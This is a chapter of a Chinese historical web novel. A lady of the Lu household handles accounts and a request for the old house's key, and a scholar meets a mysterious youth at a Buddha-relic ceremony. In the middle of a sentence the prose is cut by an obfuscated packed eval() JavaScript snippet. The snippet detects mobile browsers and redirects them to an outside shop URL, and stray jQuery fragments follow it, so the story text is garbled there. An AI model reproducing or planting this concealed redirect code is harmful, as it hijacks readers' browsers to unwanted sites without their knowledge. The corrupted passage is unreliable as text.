第44章 佛骨入京
    乔挽月不疾不徐地对着茶碗吹了口气:“前面那些暂且不用管了,隔的时间长了要重新查起来也是费事。只是从今天开始这账目都要清清楚楚的,你先前在药铺里管账,是有经验的人,我对你放心。”

    李海说话声音低沉,瞧着便是稳重的长相,他缓缓道:“夫人把我从药铺里提拔上来,小的不敢辜负夫人赏识。”

    乔挽月进陆府以来除了田产还用嫁妆置办了好几处铺子,这李海本来是下边药铺里管账的,乔挽月上回去药房,看着此人行事可靠,正好陆府账房之位空缺,便把他提了上来。

    李海又说:“三日后禄国寺迎佛骨入京,声势浩大,据说圣上都要参与这场盛典,咱们府是不是也该出些香火钱?”

    乔挽月道:“朝廷各家都出了的,虽说是为了讨好皇上,但我们自然也不能落下,另外上回朱大户送来的那香檀木的摆件也一并送过去吧,那木质有股奇香,能驱虫避蚊,长年不腐,寺里大师们应当用得上。”

    李海道:“我亲自带人和香火钱一道送过去。”

    冰釉纹的碗盖和瓷碗上下一碰,发出脆生生的声响,乔挽月将茶碗放在旁边的小几上,余光里看到李海并未离开,疑惑地瞧了他一眼,问:“你还有什么事?”

    李海低下身子,语气有些犹豫:“小的来见夫人半路上正好碰见刘管家,他正急匆匆地往外头赶,看见我时拦住了我,说是拜托我向您取一把陆府老宅的钥匙,您看……”

    绣衣堂调查偷运官粮的案件是在暗中进行的,上回来福当街示众也是随便寻的一个由头,外人应该并不知情。刘管家却在这个当口要陆府老宅的钥匙……

    乔挽月问:“他可说要钥匙干什么?”

    李海摇头:“不曾。我看他行色匆匆,没来得及多问。”

    乔挽月似乎是不经意地瞟了李海一眼:“没想到你倒是挺会与人交好,才刚进陆府刘管家便和你如此熟稔。”

    李海身子埋得更低了些,他说:“小的与刘管家只是点头之交,并不敢擅自做主拿了老宅的钥匙,这才向您来禀报。”

    乔挽月面色温和道:“不用紧张,我只是随口一说。那老宅虽然占地不多,但怎么说也是在京城中,我想是为迎娶公主,刘管家动了重新起用那宅子的意思,他也知道现在府里着急用钱,想为府里多出一份力罢了。”

    李海应和道:“是,夫人说的有理。”

    乔挽月让丫鬟取了钥匙过来,递给李海:“那就麻烦你送过去,用完还回来就好,也不用多向我请示。”

    李海接过钥匙,退了出去。

    这三日一晃而过,转眼便是禄国寺迎佛骨入京的日子。这天一大早,禄国寺门口便来来回回有僧人活动,忙着擦拭驰道两侧的白玉栏杆和石像,寺院周围镇着的四十九座兽像,这些兽像或张牙舞爪,或威严庄重,皆是雕刻精细,一看便价值不菲。驰道上车马熙来攘往人头攒动,金顶马车一辆一辆接连而过,不断有身着长袍的达官贵人走下马车。先帝晚年为求长生信佛信道,请了不知多少道士炼丹,和尚祈福,也不知是不是真吃了什么灵丹妙药,吊着一口气拖了好几年,最终还是耐不住生老病死的规律一命呜呼。

    当今圣上多少也受了父皇的影响,对佛家与老庄之道颇为推崇,是以百官都投其所好,更有甚者养了和尚道士作门客,但和尚原本就是讲究六根清静,是看破这些俗世欲念才出的家,道士承的是老庄那一脉的,让他们治国他们便安坐榻上给你讲“垂衣拱手天下得治”那一套,好听点是无为而治,难听点说就是撂挑子不干,哪里做得了门客?

    卢念卿跟着人流挤到这驰道上,看着禄国寺的和尚在门口迎接客人,一个个都是养得油光水滑的,想起昨日在客栈中听见的话——听说当下有一种做官的门道,科举考不上的儒生把那头发一剃,戒疤一烫,在深山老林青灯古佛旁跪几年得个美名,皇上自会请他出来做官,就算皇上不请也多的是官员们供奉,总之是吃喝不愁,倒比他这种老老实实一年一年参加考试的要来得舒坦得多。

    卢念卿摸了摸自己一头黑发,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112263|149789||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    想象了一下自己剃成光头的样子,缩了下脖子。

    贵人们走的是另外一条专门辟出来的通道,他们这些普通老百姓要想在这盛典中看个新鲜便只能在人群中跟着挤来挤去,还好卢念卿身高不矮,仰着脖子努力往上踮脚,但除了乌泱泱的人头便是各种装潢华贵的马车。他仗着身高优势东张西望,不知什么时候就被涌动的人流挤到了驰道边缘,一只肥厚溜圆的马屁股从他面前擦过,他差点就被扇动的马尾巴扫到,猛地向身侧一倾,又因站立不稳,下意识伸手想找个支撑物,双手扒在旁边人身上借了个力。

    “不好意思不好意思,方才没站住脚。”一双手在一旁稳稳地扶住他,卢念卿反应过来之后收回手,连连道歉。

    “这里人多,站不稳也正常,”旁边那人声音清脆悦耳,听着竟然像个年轻女孩。卢念卿一惊,连忙向旁边看去,却只看见个刚刚束发的少年郎。那少年面容清秀,白玉似的面庞,笑起来若春风拂面暖阳桃花,给人一种一望即得的舒适感。年龄看着小,束发用的是个竹制的发冠,简单雕

    了几片盘根错节的竹枝在上头,应该不是什么富贵人家的少爷。年龄不大,想来还未变声,卢念卿比了比身高,那少年比他矮了小半个头,身形也单薄,看着倒像家中那个与他分离已有一段时间的小弟。

    卢念卿这么想着,便起了几分亲近之心,他问:“小哥一人独自出来的吗?怎么不见家人?”

    那少年道:“人太多,与家人走散了,反正是看看热闹,在哪儿不是看?我倒觉得自己一个人还要更自在些。”

    卢念卿听了这话便笑:“你现在躲着家人觉得他们烦,等真离别了估计得想念呢。”

    竹冠少年也笑:“那可不一定,你和家人分别了想念,怎么就知道我也一定想念?子非鱼安知鱼之乐?”

    卢念卿愣了一下,那少年冲他抱了个拳,问:“这里视线不好,瞧不到什么,我先往前面走走,典礼结束之后若是有缘,咱们见了,我请你喝酒。”

    卢念卿:“哎……”